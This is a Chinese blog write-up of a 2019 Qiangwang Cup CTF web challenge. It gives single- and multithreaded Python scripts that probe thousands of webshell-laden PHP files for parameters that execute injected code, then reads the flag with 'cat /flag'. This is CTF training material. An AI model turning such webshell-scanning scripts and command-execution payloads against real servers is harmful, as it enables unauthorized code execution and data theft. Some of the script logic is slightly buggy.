2019强网杯高明的黑客

2019强网杯高明的黑客

写在前面的话:

这道题,纯纯考查python脚本的编写,思路值得学习

获取源码

直接告诉了源码的存放位置,下载即可,就是文件有点大

在这里插入图片描述

下载完发现是3000+的php文件,仔细看里面都是getshell的脚本,有GET和POST,但是有的GET值为空,根本就是无效的,需要筛选出可以利用的php文件和参数。

基本思路:

先遍历所有php文件,获取GET和POST参数,再传入参数访问url,看能否回显出传入的参数,如果能回显,再判断是GET还是POST,如果不能回显,说明是无效的getshell,直接跳过。

需要注意:

设置多线程跑起来更快。

访问url需要web环境,可以在本地用phpstudy搭一个,把下载下来的文件放入网站根目录,直接url访问文件就可以出现题目原始页面。

例如,我的
filepath = r"D:/phpstudy_pro/WWW/wangzhan.com/python/2019强网杯高明的黑客/www/src"
http://wangzhan.com:82/python/2019强网杯高明的黑客/www/src/

脚本编写

单线程

#单线程
import re
import os
import requests

#指定路径
filepath=r'D:/phpstudy_pro/WWW/wangzhan.com/python/2019强网杯高明的黑客/www/src'
os.chdir(filepath)  #更改当前的路径,不加会报错
files=os.listdir(filepath) #遍历文件名

s=requests.session()
s.keep_alive=False #设置连接活跃状态为False

def get_content(file):
    with open(file,encoding='utf-8') as f: #打开php文件
        #提取所有GET和POST参数
        gets=list(re.findall('\$_GET\[\'(.*?)\'\]',f.read()))
        posts=list(re.findall('\$_POST\[\'(.*?)\'\]',f.read()))
    data={} #获取所有POST参数
    params={} #获取所有GET参数
    #令传入的参数在访问页面显示一个内容echo xxxxx;
    for m in gets:
        params[m]='echo xxxxx;'
    for n in posts:
        data[n]='echo xxxxx;'
    
    url="http://wangzhan.com:82/python/2019强网杯高明的黑客/www/src/"+file
    res=s.post(url,data=data,params=params)
    res.close()
    res.encoding='utf-8'

    #然后再判断这个页面有没有显示的这个内容,有就再筛选,没有就是无效的,直接跳过
    #先判断回显有无xxxxx,再判断是get还是post
    if r"xxxxx" in res.text:
        flag=0
        for a in gets:
            res=s.get(url+'?%s'%a+"echo xxxxx;")
            res.close()
            if r"xxxxx" in res.text:
                flag=1
                break
        if flag!=1:
            for b in posts:
                res=s.post(url,data={b:"echo xxxxx;"})
                res.close()
                if r"xxxxx" in res.text:
                    break
        if flag==1:
            param=a
        else:
            param=b
        print("找到了利用文件:"+file+"找到了利用的参数:%s"%param)
for i in files:
    get_content(i)

多线程

#多线程
import os
import requests
import re
import threading
import time

print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))

s1=threading.Semaphore(100)  		#设置最大的线程数

filePath = r"D:/phpstudy_pro/WWW/wangzhan.com/python/2019强网杯高明的黑客/www/src" #文件路径                  #自己替换为文件所在目录
os.chdir(filePath)		#改变当前的路径,没有会报错

requests.adapters.DEFAULT_RETRIES = 5	#设置重连次数,防止线程数过高,断开连接

files = os.listdir(filePath)  #遍历所有文件

session = requests.Session()
session.keep_alive = False				 # 设置连接活跃状态为False

def get_content(file):
    s1.acquire()												
    #print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))

    with open(file,encoding='utf-8') as f:	#打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))

    data = {}		#所有的$_POST
    params = {}		#所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"

    url = 'http://wangzhan.com:82/python/2019强网杯高明的黑客/www/src/'+file                      #自己替换为本地url
    req = session.post(url, data=data, params=params)			#一次性请求所有的GET和POST
    req.close()												# 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)

    if "xxxxxx" in content:			#如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()					# 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()				# 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:		#flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:															#加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

多线程跑完,得到

文件:xk0SzyKwfzw.php

可利用参数:Efa5BVG

在这里插入图片描述

在BUU源环境里访问 url/xk0SzyKwfzw.php?Efa5BVG=cat /flag

在这里插入图片描述

写在后面的话:

脚本的编写对我来说的确有点难度,就当是练习了,思路和脚本。

参考笔记

[强网杯 2019]高明的黑客_Sk1y的博客-CSDN博客

[(48条消息) BUUCTF__强网杯 2019]高明的黑客_题解_风过江南乱的博客-CSDN博客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值